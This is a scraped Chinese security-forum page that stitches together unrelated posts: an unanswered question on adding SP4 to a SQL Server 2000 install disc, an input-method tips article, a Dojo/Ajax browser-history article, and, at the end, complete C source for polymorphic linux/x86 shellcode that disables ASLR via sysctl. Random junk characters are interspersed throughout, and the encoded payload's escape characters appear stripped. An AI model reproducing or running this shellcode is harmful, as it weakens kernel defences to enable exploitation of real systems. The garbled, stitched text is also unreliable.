返回列表 发帖

mssql server 2000安装盘如何集成sp4?

手上有一个ms sql server2000的企业版安装盘和一个SP4补丁包,想把它集成到一起,这样就可以一次安装到sql server 2000 sp4版了,可是目录没有update.exe文件,我想请教各位达人有什么办法把SP4包集成到这张安装盘上???、1 f" P4 V+ P% x" Z4 I9 i
谢谢

 

您可能还想看的主题:

windows server 2008做NTP服务器

mssql脱"库"子代码[.NET收藏]

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:marko1981发表,本帖发表者marko1981符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者marko1981和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

Zomplog CMS 3.9 XSS/CSRF多处漏洞[br]
6 ?# Q8 \' x  U- _
8 E0 t# N* z5 k" Z1 q: W+ Z1 Z1 S
9 I6 Z' P8 Q8 J8 Z# I: L4 ?- t* g2 G2 A) y- [

$ |- o6 F$ N$ W/ A) @" K1 |% n% M  R- K+ N( B
0 t+ X" H/ }5 ]: [

/ u; w$ K1 ~$ g- q
1 U2 D; K$ N; i
+ c0 k/ b. j3 ~; F7 D% ?
2 `9 v: g) F8 _/ e" o) D+ K6 @& k1 [7 y/ |1 v
. y8 ?$ F! N) P) v
8 q( Q2 C$ O) V, _

' O1 a+ O+ t) G
) y+ z. |7 A% L! o% P& p3 N% K' y% c) Q: B

3 R  s( x" ]& S' U6 E9 V& P; D3 k$ T! B2 k0 ]
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

九种常用输入法特殊符号功能揭密
平时经常要输入一些像“★”、“√”之类的特殊符号,或是“壹万贰仟叁佰肆拾伍元”之类的大写金额,很多朋友不知道该如何通过常用输入法快速输入,另外在使用输入法过程中,也时常会出现用五笔输入时有些字不会拆分,用拼音输入时有些字不会读音的情况,这时又该如何来快速输入这些疑难字呢?我们把大家常用的输入法汇集在一起,介绍一下如何解决这些常见的特殊输入问题。同时对于大家选择适合自己的输入法也是一个很好的参考。

; w( L1 I( |7 Q, ]
小提示

& N) k! m& i. N+ r# @! B8 ]2 r6 w
很多朋友在使用输入法时,会发现一些文字明明拆分或拼音都输入正确了,但就是打不出需要的字,这时你需要检查一下输入法的设置,确认已经打开“GBK”编码,通常为了减少重码,输入法默认使用的是GB2312编码,这种情况下只能输入6763个常用汉字。
* B- f& x6 `, c8 G
<P align=center>五 笔 输 入 法 [/quote]
) W" x. L" a# O& P  }+ Q  G
一、极点中文
& X6 `- ?/ H% J: E
1.输入特殊符号

5 j9 x4 `! S/ m4 C! R$ h# z2 Y
首先可以按下Shift+Esc组合键快速调出软键盘,按住Shift键后按动Esc键,就会在多个软键盘之间切换,按Esc键即可关闭软键盘。
( H4 O- {; N/ g6 S, y0 x
极点中文把特殊符号分为22种类型,并进行了特殊编码,其编码定义的基本规则是两个字母“Z”加上代表特殊符号类型的两个声母,常用的特殊符号编码有(全部编码可查阅帮助文档):

' M' P3 W3 c4 T) j) h! R9 G
zzbd 标点符号 zzpy 拼音符号 zzts 特殊符号
4 Z0 z* W! w2 q0 ]
zzsx 数学符号 zzdw 单位符号 zzjt或zzj 箭头符号

! T1 Q) J8 A3 N1 m; j
zzys或zzy 圆圈数字 zzpp 偏旁

5 Z- v' I! S( t1 B
例如要输入“★”符号,则可以键入“zzts”,然后根据提示条中的显示按“6”即可使符号上屏
- |5 r' R/ o  @, K% j" ~
<P align=center>[/quote]* r- n7 ], J9 o7 p
小提示

8 O6 G& g% r) Z9 \/ m- \+ s
我们可以在极点中文提示条上右击,选择菜单“管理工具→用户码表”来对默认的特殊符号编码进行修改,同时也可以自行添加新的编码。
8 o3 K% v; t) w% F
2.输入中文日期
0 d8 y1 U" m) k& j0 z9 D! M$ y. u
在极点中文中输入中文日期是非常方便的,其编码格式为分号“;”加上“XXXXnXXyXXr”,其中的X分别代表要输入的年月日数字。例如要输入“二○○五年四月一日”,则键入编码“;2005n4y1r”,这时在提示条中会显示出数字日期和中文日期两种格式,按下数字“2”即可输入中文日期了
1 Q% ?3 y$ G9 y6 t, n4 q
[/quote]5 T2 u8 _: f7 q5 e" I
<P align=center>

2 y, K" f6 n" z7 z* Z1 o
小提示

; b" c0 l" m4 U
要使用该功能,需要在极点中文的基本设置中选择“快捷英文热键”为“分号(;)”才行,不过这样设置后,输入中文分号“;”就需要按两下“;”键了。
1 c" ]3 {" d" f3 l5 T$ G
如果想快速输入当前日期,那就更方便了,键入编码“znyr”可以输入当前年月日,键入编码“year”可以输入当前年份,键入编码“date”可以输入当前日期,键入编码“time”可以输入当前时间,键入编码“now”则可以输入当前精确时间,键入编码“week”可以输入当前星期几。

. u8 h+ q+ H; G8 _' b: v5 b
3.输入大写数字和金额
. R$ R2 ?% x9 t& Y3 ~% u! M1 T! k
极点中文的大写数字编码规格是分号“;”加上数字序列,例如当键入“;12345”时,提示条中会显示三种大写数字格式(见图3),选择需要使用的格式即可,按“回车”键选择第一项,按右Shift键或“Shift+回车 ”键选择第二项,按左Shift键选择第三项。如果要输入带元、角、分形式的大写金额,则可以在输入数字后再按一下分号“;”上屏即可。例如键入编码“;12345.67;”,就可以输入“壹万贰仟叁佰肆拾伍元陆角柒分”。
% W3 P3 x( h: b7 [3 D+ J- G
4.难拆字辅助输入
/ A" {6 C1 q' a3 `( S
在极点中文提示条上单击右键,选中“输入法状态”中的“五笔拼音”选项,这样以后当遇到不会用五笔拆分的文字时就可以直接用拼音进行输入,而且不用切换输入法状态,最值得称赞的是,这时极点中文还会在文字后面提示出正确的五笔编码,非常方便。

0 h% a4 c+ O9 r% w( f' q8 Q# t, {5 E5 k6 Y, F5 ]# u
[/quote]
; c! N7 V. M/ g" c) |/ p2 k[quote]二、万能五笔
5 z' z' }3 t8 Z* I% ?& G
1.菜单选择
3 Y5 y; C( j' g: B! ]8 F/ d8 O
在万能五笔提示条右键菜单中选择“输入特殊符号”,可以看到特殊符号类型列表(见图4),选择要输入的特殊符号类型后,在万能五笔提示条中就会显示出该类型中的特殊符号列表,用数字键选择要输入的符号即可,用“[”和“]”键可以前后翻页查找类别中的其他特殊符号。
# x. M& S3 \, i+ l
<P align=center>[/quote]* r4 N' H- X# z  j, @" z" {5 f5 z) h
小提示
* z$ P" y1 V- n8 u
你还可以直接用快捷键打开某类特殊符号,在菜单中的特殊符号类型后面提示有相应热键,例如要快速输入数字序号,按下Ctrl+2组合键即可。

/ w8 d, i1 C' r  b) |; l1 _
2.自定义编码输入

/ `* v7 N$ s- c( n' U. d  [
万能五笔提供了特殊符号自定义编码功能,利用其自造词功能即可完成,例如想用“tsdh”来输入“√”符号,则可以先利用前面介绍的方法输入“√”,然后选中该符号,在万能五笔提示条中单击“词”按钮,并输入定义的符号编码“tsdh”即可(见图5),这里建议取消“简拼”和“全拼”编码选项,以避免重码。
. q- v: X* Z9 T1 h5 x
[/quote]" w) x  d2 g: I  N" B% i
<P align=center>

- d* Y3 r& u* f$ Q3 ~: ]8 D
三、智能五笔

% h, k" U! k" X! r% C" u  R
1.特殊符号输入

! U) N! [$ i6 `7 N% E+ ]- q
智能五笔首创了分号“;”输入特殊符号的编码方式,使得特殊符号输入不仅方便,而且不会与汉字输入编码重码,具体编码可以查看http://www.znwb.com/help/chhelp414.htm网页中的表4-1。例如想输入“√”符号,只需要键入“;dh”即可看到提示条中的显示,按下空格键即可上屏。
  A: |1 `. q8 F
如果对智能五笔默认的特殊符号编码不太习惯,也可自行修改这些编码,方法是在提示条右键菜单中选择“辅助功能→定义字词符号→自定义符号”项,打开自定义符号管理对话框(见图6),其中每行定义一个符号的编码,根据需要修改左边的符号编码即可,当然,也可以新增符号编码,编码(不包含分号)和符号之间用空格隔开即可,要注意编码为一至二码,不能是三码或四码。

) {, K3 o& l1 j' R; Y6 M; [<P align=center>[/quote]
$ n; k# A. U, n1 I* |
2.疑难字的输入
" \# {! r7 h. ~, C
对于五笔输入法来说,像“凹凸”之类的字是很难记住编码的,虽然智能五笔可以使用右Ctrl键切换到拼音状态进行辅助输入,但毕竟麻烦了一些。为此,智能五笔还提供了一种简便输入这些疑难字的方法,就是连按四下“Z”键,这时在提示条中会显示出疑难字列表(见图7),

" u, e6 `2 C+ G0 o. X2 h
[/quote]5 l% ], W# B7 l: ~5 r1 z' a
<P align=center>

# w$ t8 \# J. K4 }
例如按下数字“2”即可输入“凹”字。

$ R% z, p. ~+ n! b
小提示
% F4 y3 T) f7 D$ W7 J; M
在智能五笔提示条右键菜单中选择“辅助功能→定义字词符号→疑难字表”项,可以对疑难字表进行自定义,把自己常用的难拆的字用拼音输入进去即可。

1 k" w% [/ k- n" f; Y- N8 H$ g
3.大写金额输入
' M  r2 D- ~3 A3 d& o1 X0 Z
在智能五笔中输入大写金额的编码规则为“分号键+引号键+数字键+小数点+数字键”。例如,当你要输入“壹万贰仟叁佰肆拾伍元陆角柒分”时,可以先按一下分号键,再按一下引号键(分号键右边的键),键入数字“12345.67”,然后按一下空格键即可。
- n, `# y9 h5 T! K. d# }

. K+ [$ S: \$ ]6 S6 A3 X' T
[/quote]% t* ?5 r, ~3 ?% y4 x
[quote]四、五笔加加

1 k1 V  t/ Z* l9 ~1 V
五笔加加默认对一些常用的特殊符号进行了编码,其编码规则是该符号中文名称对应的五笔编码。例如要输入“√”符号,只需要输入其中文名称“对勾”的五笔编码“cfqc”,即可在提示条上看到提示,由于有重码,按下数字“2”即可输入。具体编码与特殊符号对应列表可以打开C:/Program Files/WBJJ目录中的“wbjj_biaod.htm”文件进行查看。
& q0 m7 g$ p/ P& i8 m1 B4 Q$ A
此外,对于一些像“ⅠⅡⅢⅣ”、“①②③④⑤”之类的系列符号,五笔加加则规定了另外的简便输入规则,首先按“Z” 键,进入系列符号输入状态,然后输入系列符号中文名称对应的五笔编码,即可从提示条中进行选择输入。例如要输入“Ⅲ”,就可以先输入“Z”,再输入“大写罗马”的五笔编码“dplc”,然后按数字“3”选择即可(见图8)。系列符号的编码对应关系也可以打开“wbjj_biaod.htm”文件查看。
2 G1 s0 B  o6 ?% G9 b' ~
<P align=center>[/quote]+ K7 s8 g: j7 x) W
小提示

. h/ \6 x3 X8 Y: ?0 I0 u
单击五笔加加提示条,选择“管理工具”菜单下的“自定义编码工具”,单击“编辑单个符号表”按钮或“编辑成组符号表”按钮,可对特殊符号及其编码进行增删、修改操作。

6 o4 X* e& q9 u7 y5 @<P align=center>拼音输入法 [/quote]
  C2 T7 x* j1 d  {
一、拼音加加

. ]* U% @. {" R$ t2 @" {
1.特殊符号输入

  X+ x% Z; E# Y
拼音加加在特殊符号输入上和五笔加加具有许多相似之处,同样采用内置编码的方式来输入特殊符号,但其编码规则是特殊符号中文名称的简拼(即拼音首字母),例如要输入符号“√”,直接输入其中文名称“对勾”的拼音编码“dg”,然后根据提示条中的提示按数字“3”即可上屏(见图9)。具体编码与符号的对应列表可以打开C:/Program Files/JJOL/IME目录中的“拼音加加符号列表”文件“pyjj_biaod.HTM”进行查看。
5 }% i& x1 t* h5 \) Y
<P align=center>[/quote]
1 O3 V* [5 E* E# w<P align=center>[/quote]
1 h/ \; h% G; F% W8 M  {
2.输入中文数字

9 E5 P: H& a; H' O0 q! R
直接输入阿拉伯数字,例如“12345”,就可从提示条中看到两种常用的中文数字格式,按下需要使用的格式序号即可。

# ]1 G$ X4 {$ R* U+ j& J
3.输入中文日期
+ g7 ]! i) W' o( N
直接输入“98-2-3”或者“98/2/3”格式的数字,拼音加加就会在提示条中显示出两种常用的日期格式(见图10),输入序号即可上屏。

/ A9 h* y2 c3 ?) P% E<P align=center>[/quote]
& k$ k- w4 M: g$ m  L" s: D, z; R
4.辅助输入

9 i$ s: q. J$ H: L/ {: w. c# Y7 D2 L
当输入文稿时,如果遇到不认识的字,可以按下字母“i”进入临时笔画输入法,然后即可按照该字的笔画书写顺序进行输入,这里的笔画输入法和手机上使用的笔画输入法类似,只不过是键位定义有些区别,拼音加加的五个基本笔画横、竖、撇、点(捺)、折分别用其拼音首字母来表示,即h、s、p、d(n)、z。例如,“殳”字可能大部分人都不知道它的读音,但我们依然可以在拼音加加中正确输入,编码是“ipzzn”,然后根据提示按数字“3”即可,而且文字后面会告诉你该字的拼音(见图11)。

' c* L0 P  C2 c<P align=center>[/quote]
) ~5 {. m! }# K) R
二、紫光拼音

) Y, H3 l) Y1 _2 c
1.特殊符号输入
3 z3 a3 A, n1 c* _$ h0 G
在紫光拼音中可以使用软键盘来输入各种特殊符号,它提供有13类软键盘符号,使用时右键单击输入法提示条中的软键盘图标,然后选择符号类型即可打开软键盘(见图12),点击需要输入的符号即可。
+ R$ g* g  x, K- Q
<P align=center>[/quote]( q1 s! a" T& \2 q# Q; z5 {3 P
除了使用软键盘输入外,紫光拼音还允许使用特定编码输入一些常用的特殊符号,在提示条上单击鼠标右键,选择“属性设置”,然后打开“自定义→特殊字词和短语”,即可看到特殊符号的编码,当然我们也可以自行输入或修改编码,格式为“英文编码=特殊符号”,例如添加一行“dhao=√”(见图13),然后单击“确定”按钮保存设置,以后就可以用“dhao”来输入“√”了。
4 V) B6 L! ^8 ^6 u, R6 O
[/quote], S& v3 l$ D: G$ K  Y
<P align=center>

+ B" d! s' [( f) ~+ h. |
小提示
3 a  Y7 W& J9 o
这里定义的特殊符号编码不能立即生效,需要重启紫光拼音输入法后才能生效。

0 e3 O8 m# x. L& x  |: {8 R
2.中文数字输入
, T* l; d0 w) Y6 O$ ~* W
在紫光拼音中按下字母“i”和“u”可以临时输入中文数字和常用单位,在输入时,紫光拼音要求使用特定的字母来代表数字的单位,具体如下:

1 K/ j# N" M  Q, K" V0 w0 A
g 个 s 十/拾 b 百/佰

! P6 u% ]  X, \8 |% \; m  B
q 千/仟 w 万 z 兆
3 D* f% n3 u* p2 T1 P; ?
n 年 y 月 r 日

1 h/ t/ k$ N5 \: k4 A
d 点 f 分 m 秒

8 U$ P& E" j7 }8 D
v 元 j 角

4 @6 h; ^6 L4 J6 W# m, T6 o
其中按下字母“i”后可以临时切换到中文数字小写形式输入状态(一、二、三等),例如键入“i2005n4y1r”可以输入“二○○五年四月一日”,而按下“u”后可以临时切换到中文数字的大写形式输入状态(壹、贰、叁等),也就是大写货币金额,例如键入“u8w7q6b3s1v”就可以输入“捌万柒仟陆佰叁拾壹元”。

4 n$ r" K, k& z! [$ l
三、微软拼音
) Q$ q$ l$ ^( F5 t1 w6 S2 o
微软拼音的特殊符号输入相对比较麻烦一些,只能使用软键盘进行输入,这里同时也提示一下大家,对于系统自带的其他输入法以及一些标准接口输入法,使用软键盘是通用的特殊符号输入方式。
7 f6 p6 P2 r# c6 n0 s+ k% Y
四、智能狂拼

6 i1 }/ M$ D, P$ a
1.特殊符号输入
/ [  G( D  u6 h$ n1 N5 x
智能狂拼可以很方便地输入偏旁部首以及计量单位等特殊符号。其基本输入方法是先按“Ctrl+[” 组合键进入特殊符号输入状态,然后按照下面的特殊符号类型编码进行输入,其编码规则是取其中文名称前两个字的声母。

1 C8 L6 z2 w9 a& s3 }
部首=bs 数学符号=sx 数字序号=xh

/ o" e3 Y, d' U+ n6 t2 }/ K
特殊符号=fh 计量单位=jl 标点符号=bd
  v5 z  M( f% x- i
箭头符号=jt 希腊字母=xl 日文字母=rw

) J( Z; r8 k$ q5 F1 a! Q
罗马字母=lm 拼音符号=py 注音符号=zy

2 }' B0 b1 |2 W# O9 g+ d
天干地支=tg 俄文字母=ew
" w+ N, @! e. j1 p& M! Z) M. J2 _) `
[/quote]
6 J1 |2 T: [0 [* n4 L* }[quote]例如要输入数学符号中的“√”,就可以按下“Ctrl+[”后,再按“sx”,这时在提示条中会显示出数学符号列表,不过当前显示并没有出现“√”,需要翻页才能出现,这里有个技巧,你只要继续输入特殊符号读音的第一个声母,就可以缩小提示条中显示的符号范围,这里我们再输入“d”,就可以在提示条中看到“√”了。

5 Q! n# {6 z' L0 I- R6 V
2.疑难字和偏旁部首输入

3 v5 ^: X4 O. |# L) k1 T6 q
对于不认识或不能正确发音的字,智能狂拼也提供了笔画辅助输入方式,其五个基本笔画对应键位和拼音加加完全一样,输入方式上则需要先按“Ctrl+[” 组合键进入特殊输入状态,然后即可按照该字的笔画书写顺序输入编码,利用这个方法也可以直接输入偏旁部首的笔画顺序,这要比使用前面的“bs”再选择部首的方法准确一些。
7 H# f- M0 \: A' j
五、龙文输入法
1 P9 Z$ g" m5 e2 |; \3 M
在特殊符号输入上,它也提供了和标准输入法完全一样的软键盘输入方式,同时还提供了非常方便的自定义编码输入方式,不过默认并未启用这个功能,需要在提示条上右击,选择“系统设置与管理”,然后单击“系统管理”选项卡,选中“批量添加词组或用户自定义词库到用户词库”选项,并在“编码方案”中选择你习惯使用的输入法选项(见图14),单击“浏览”按钮,在打开对话框中选择“自定义编码”文件,最后单击“开始执行”按钮即可。

4 S  {3 ]8 R/ N! R+ v$ ]<P align=center>[/quote]& |& v) L% |6 j
这里的特殊符号编码是龙文输入法默认设置好的,一般是以特殊符号中文名称的声母作为编码的,我们打开“C:/Program Files/龙文输入法平台”目录下的“自定义编码”文件,就能看到这些编码的定义了,当然,如果你想修改这些编码设置,只需要修改这个文本文件即可。
8 x, ?  r/ J  d4 r  w

# v: q  c) Z2 \3 Y% L& u1 M2 R- q0 J1 J# F# r. Y0 }
& C1 e- g; I3 g6 f1 p9 V* Y* A

$ _6 }, A3 N. v: n( E& _: P/ M; F. K$ \& f6 j

: t& C. S) c3 C: H3 j0 {/ X
) i- U' a1 ^2 ]& p, q1 g4 U
( T  Z% Y1 m- F% C7 [/ ], k( E$ y5 f4 q! k# J6 U3 S) o2 X9 d- s0 b
1 ^( J& ~/ o- L1 j

4 o9 _: y# v2 M
/ i% n7 c- t, V/ H) s4 f9 ]7 k2 [$ {, z1 m' d5 a5 X$ |* {

4 o- a2 u% U+ H& S) N# n1 U
# C  Z2 @* z* D# M. m* o9 A7 S9 W% B4 H

4 O. Q4 S2 l9 f! C& Y  j; W$ k% V( y  |- G% q/ ?: C
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

手把手教你装Linux系统-启动红旗Linux5.0
<P align=center>; X: T% D$ D* h* A2 S
5 H, I; C" \9 n9 x) Y
http://www.sitedir.com.cn/video/7.swf[/quote]9 m$ w  I  R& C6 h& X3 r

1 V+ _4 Q- ?, N) u9 I8 B& N4 U' l. u. U" P* K" X7 f) ^3 m

( G, ?3 c+ g" Z) y# O
4 {& m4 f5 @! s- x0 o2 U* k1 y9 R& t, M2 x" @0 A1 _

" G( g6 f2 m- ^, P
% X" C0 E4 g& x8 `6 \) ~8 v
% q  h7 H0 e$ L; ^
2 S9 A5 X0 e- O( O9 C8 ~* P' a
0 X- U' c& A4 S3 l5 ^) Q3 ]# l5 J' q/ Y/ O  q+ @1 `% s% e

  R3 ?* Q5 N  G7 n6 v5 b+ c& u. g
8 }& h: C; ?) Q6 r
+ t9 v5 `8 C8 f* P0 l, g
% b) N6 k& S. @/ H$ S* P. c  l$ ^3 x. `; T

  ?3 i' U% W' ?* c" s9 k/ `
" t' p; X* v9 F! v" v) m# F) E0 m公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

关于Dojo和Ajax程序的浏览器History控制的研究
web应用程序都面临浏览器上的history功能的困扰,前进,后退,刷新,将是你的程序失控,重复提交,丢失数据等等场景让你焦头烂额,运行的好好的程序,被客户随便摆弄一下就错误百出。这些就是客户心智和程序员心智不同产生的冲突。
7 J& ?& t3 z7 c( c6 n0 m
最初的web程序只是一些静态的网页,一般都通过地址栏的URL地址来进行定位,所以,浏览器集成了很方便的History功能,让你在浏览的历史记录中来回切换。可是,随着复杂应用程序开始越来越多的通过浏览器来作为客户端,噩梦就开始了。
- e# ^/ \& }/ U/ y* I
近年来,Ajax技术的兴起为程序设计者和客户提供了不同的技术实现和用户体验,Ajax火了起来,也开始颠覆了传统的web操作和应用传统。但是浏览器并没有相应的来迎合这些变化,这样的话, Ajax 程序也同样的面临浏览器的干扰,而History功能就是其中让人头疼的一个。

0 _( D+ K1 {; G! }
越来越多的程序员面临这个问题,开始考虑解决之道,解决的方案五花八门,不过都这能解决问题的一部分,无法从根本上解决这个问题。要根本解决这个问题,只怕需要浏览器的厂商和标准部门针对Ajax一起来想出一个标准化的处理方式。

+ Y3 G7 c7 \6 g: x6 }# l+ {" w
当然我们没有时间来等待别人来帮助我们解决问题,我这里介绍一下Dojo 解决这个问题的方法,同时研究一下它的实现原理。
8 E2 C8 [" }6 P/ ]$ t0 P
需要解决的问题Ajax程序进行页面内容变化的时候,并没有刷新整个页面也没有改变浏览器地址,所以如果进行以下的操作将会出现无法意料的问题:
/ h8 q4 o7 t/ h
行为案例:1search 页面--2search-->3显示列表在本页面--4点击列表中的某条记录--5页面切换-->6所选记录的详细内容页面-->7编辑并保存-->8停留在原页面,提示保存成功-->9返回--.10页面切换-->11search页面

" o5 ?0 H1 D$ _& H- ~
上面的步骤都不会导致浏览器地址变化,因为我们的应用是单页面的frame。

2 g2 X* n: u" H& {$ J: m* e
这个案例涉及到两个页面(黑体 1,6),4 个动作(红色 2,4,7,9)
- j. i/ u8 ^$ Q% b" p
后退/ 前进: 如果在step6的时候,如果浏览器的后退按钮可以点击的话(一般如果你之前没有访问过别的url,那么将不会有后退地址),将不会回到3或者1,而是1之前你访问过的地址。
/ l; s% z* K/ d9 }
刷新:如果在step6的时候,你点击刷新,将不会刷新step6所在的页面,因为浏览器的地址没有发生变化,你会发现,页面刷新之后来到了step1.

5 k' d. H' {2 }- I3 o0 [0 {: h
收藏: 同上,你收藏的step1所在的页面。

5 w, G! G# j. ~8 ]
客户看到他花钱买的程序却是这样的行为,客户岂不是要疯掉!!!

# P1 E# q: j6 b9 p% v
解决之道1. dojo

5 w3 |. [* _4 x& D
dojo1.0 提供dojo.back 对象来处理这里问题,可以记录页面状态到一个堆栈对象(historyStack)中。但是这个historyStack开始是空的,当我们进入的首页的时候,可以通过setInitialState 方法设置他的第一个状态,如

5 q9 H; a7 ^$ _0 f* K, m
js 代码dojo.back.setInitialState(currentState);   
/ x# y+ j$ ?( _6 _$ r. I/ k" \5 }
之后每一次页面状态变化,你都可以将这个状态用书签记录下来,如

* A. U4 o3 b* R% h6 t8 {
js 代码dojo.back.addToHistor(currentState);   

! k- i3 W4 V5 u; f# d; [4 G
state 代表你需要记录的页面状态,一般包括下面几个属性:

; v% v# P- j# q+ g8 u
back 函数  //当用户点击后退按钮,并且跳转到这个状态的时候将被调用。forward 函数  //  当用户点击前进按钮,并且跳转到这个状态的时候将被调用。changeUrl 布尔类型或者字符串 布尔类型指示是否为当前状态创建一个唯一的hash值 如果是一个字符串,那么将使用这个字符串而不是hash值。

* s& n6 O) p, N
var state = {        back: function() { alert("Back was clicked!");          dojo.back.addToHistory(repeatState); },        forward: function() { alert("Forward was clicked!"); }     };   

% @# G; F) D) j" ]: B! s
dojo 的back对象将会在用户点击浏览器后退按钮的时候自动将当前state从historyStack中Pop出来。同时进入到前一个state。
9 o: w( g" H8 \2 }$ }- P- \7 U
下面摘选自dojo库的back.js
( ]. `9 o0 H1 T! ]( E5 t7 R' D% t
js 代码function handleBackButton(){            //summary: private method. Do not call this directly.               //The "current" page is always at the top of the history stack.            //console.debug("handlingBackButton");            var current = historyStack.pop();            if(!current){ return; }            var last = historyStack[historyStack.length-1];            if(!last &amp;&amp; historyStack.length == 0){                last = initialState;            }            if(last){                if(last.kwArgs["back"]){                    last.kwArgs["back"]();                }else if(last.kwArgs["backButton"]){                    last.kwArgs["backButton"]();                }else if(last.kwArgs["handle"]){                    last.kwArgs.handle("back");                }            }            forwardStack.push(current);            //console.debug("done handling back");        }   
; a1 v# G. F+ R+ P
完整的例子,请看dojo1.0的发行包里面的back.html(dojo/tests/back.html),里面有完成的例子。
! m; L2 B5 A# \$ y1 C! l
* [# P- U/ \" N% E' }( o
dojo怎么控制到后退按钮的呢?怎么记录书签,其中的奥妙何在呢?那就要看iframe在这里起到什么作用了。

; J2 j0 g& s* s( S$ [* ^! b
  ^) C8 P$ _7 J4 x" n3 U
2.  利用iframe 了控制每个页面的书签(bookmark)
8 A: j$ S% V& @
在页面地址没有变化的情况下,怎么记录书签呢?怎么样让用户能够收藏呢?如果要能够收藏,地址一定要变化,但是地址变化的时候又要确保页面的内容不发生变化。How to do?
/ [- n* m9 k' k: e0 `! i
Yes, Use # , 增加书签到地址后面,如: http://yourdomain/yourpage#bookmark 这样的话,地址栏变化了,那么后退按钮也就有了历史记录了。别高兴的太早,Ie并不是这样。Ie并不会将http://yourdomain/yourpage#bookmark和http://yourdomain/yourpage认为是两个页面,所以也就不会加入到History中,怎么处理这个问题呢?iframe在这里派上作用拉。通过设置iframe的src属性可以让Ie将这些状态记录到history中。

3 T' \& P: h+ u: i) o+ G- F* `
+ B6 c0 T( S. T! d) I7 _; V
参考:http://www.contentwithstyle.co.uk/Articles/38/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps
7 N4 u' x: f9 g8 N0 Q
http://codinginparadise.org/weblog/2005/09/ajax-history-libraries.html
- y; B  a6 I/ O5 T

- C1 l: n* v, U. f2 |

% o2 F; y$ ^; J% o0 C# }4 }
" W% P+ e5 ?2 o9 I9 U* s: ?  V+ e% |7 _' h7 ^3 y
* g/ t6 l9 n$ \7 q3 P# W( ?6 Z
4 j6 {: y, K8 U. R& a/ m
. I$ V; g# U6 j3 ^$ i
) v. d$ L6 a5 U4 Q3 {
4 X8 Y! g0 y, S/ d

& `& l7 F& d1 ^0 a2 z+ w) s4 \/ P. F" ~9 S) }( l
( Z" r1 ?3 C8 w8 Z2 t, h5 D7 g& F

/ L" u. y5 S3 n5 w6 e- y) ~2 I& k% x& N' s
* }) v+ g8 |! y- h. h
3 i$ j8 R7 _) K. ]. w& m$ @

& G* Z& r3 J! b% C/ q/ U+ p( _! |8 k1 D1 q3 E2 B/ ^2 ]  O- I
$ |! ]: V- P; w0 h9 a$ O
4 M$ q' ~5 x: y) G6 L8 y; _
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

linux/x86 sys_execve 121 bytes shellcode
/* sys_execve("/sbin/sysctl", { "/sbin/sysctl", "-w", "kernel.randomize_va_space=0" }, NULL);1 h- p9 o3 U3 I3 @7 L5 K
* 121 bytes polymorphic shellcode
% V1 u; u' u& l% T! C' v8 T * Programmer : Paulus Gandung Prakosa_ (syn-attack)
( g5 G5 l/ n/ c5 K, k  |- | * Thanks to : mywisdom, gunslinger_, nofia fitri, chaer.newbie, wenkhairu, ketek, xtr0nic,
; D% Y) I5 {: o! B0 v; ~ *             supermen ganteng, and all devilzc0de members
# e  i( g6 k' e% I0 Z */
+ f0 L7 |* c; L  _3 h
/*/ j$ H, ?: e1 U/ F2 |
* Tested in : / ~4 K+ Z1 x1 F% w' S# x  R
* - BackTrack 5 (linux-2.6.38-generic)* g$ m; M# A% F1 R6 P
* - Ubuntu 10.10 Maverick Meerkat (linux-2.6.38-generic)* Z  N5 F4 l. f4 @9 ^; w
* - Ubuntu 11.04 Natty Narwhal
2 E+ \4 a( `2 @+ a * - Debian Squeeze 6.0.2 (linux-2.6.32-5-stable)
' I8 o2 R6 Q+ b5 `3 ^# s4 ?. q * Note : Be sure to disabling ASLR (Address Space Layout Randomization) first before
/ t/ w+ C% |& F7 I& x% B *        placing and executing our shellcode# r5 Z" S9 B% {+ P5 X
*/
/ b6 H$ E; v; }% i0 M
#include <stdio.h>
% q- v% J* l/ O# j* F/ Y5 ^3 l, k# K4 q#include <string.h>
: b+ d& A& J+ h, q6 Z2 C% ]
char null_space[] = "xebx0dx5ex31xc9xb1x65x80x36x7e"
, ]* q2 `9 k/ x& G8 A) x. |      "x46xe2xfaxebx05xe8xeexffxffxff"; S; _  p4 z) B7 a& E4 q
      "x4fxbexfdx92x7fxf6x7ax5ax16x1d") Y, b6 e/ A& ?& \$ j' _6 M* D
      "x1bx43x4ex16x21x0dx0ex1fx16x1b"3 t. @  l3 ]4 t2 T1 m1 m/ g
      "x21x08x1fx16x11x13x17x04x16x0c"
: M1 p; @/ k: q/ T" e7 }& N      "x1fx10x1ax16x10x1bx12x50x18x16"; a1 R9 D) J; u7 Y* b2 R; v
      "x1bx0cxfdx92x7fxb8x7ax5ax15xf7", S: P9 J) v$ ~4 e
      "x98xfdx92x7fxf6x7ax5ax18x16x53"
/ @% Q7 G5 D' P" v4 t' J      "x09xfdx92x7fxf6x7ax5ax16x0dx1d"' c. b4 n# O  a! i3 Q3 Q
      "x0ax12x16x10x51x0dx07x16x51x0d"
, l7 ]% {  `7 T$ x7 P8 _& i: Y      "x1cx17xf7x9dx2ex28x2dxcex75xf7") @6 L) [% K+ c; k! _
      "x9fx4fxacxb3xfex4fxbexcex7fxb3"
3 ]! A4 x6 E* F# Y  A$ o1 q6 C  q      "xfe";

5 Y: x: c. z) g: s
int main(void) {
- E3 s7 J, g; O2 G3 E  int null_len = strlen(null_space);9 ~/ A  R! D- l4 R& B7 c  r% ~
  printf("[+] Using key mutation engine : 0x7e9 q8 ~1 b' h& {9 z6 N" U
");( c5 {0 h: e! C; A- o
  printf("[+] Length of this shellcode : %d bytes3 |$ ?; ~% {- t6 s5 g2 q
", null_len);
5 J9 P0 \1 ~1 |; V, P; u3 J  printf("[+] After executing this code, please check the value of "/proc/sys/kernel/randomize_va_space"8 O* T' F% {3 v* c# L. m
");& u5 v1 B) |: x5 N6 G1 q
  (*(void(*)())null_space)();8 c+ @5 c7 j; p. M
  return 0;+ t/ [! |5 _  W* b! m2 N3 H: H
}
: T5 ^6 @" ^1 Q

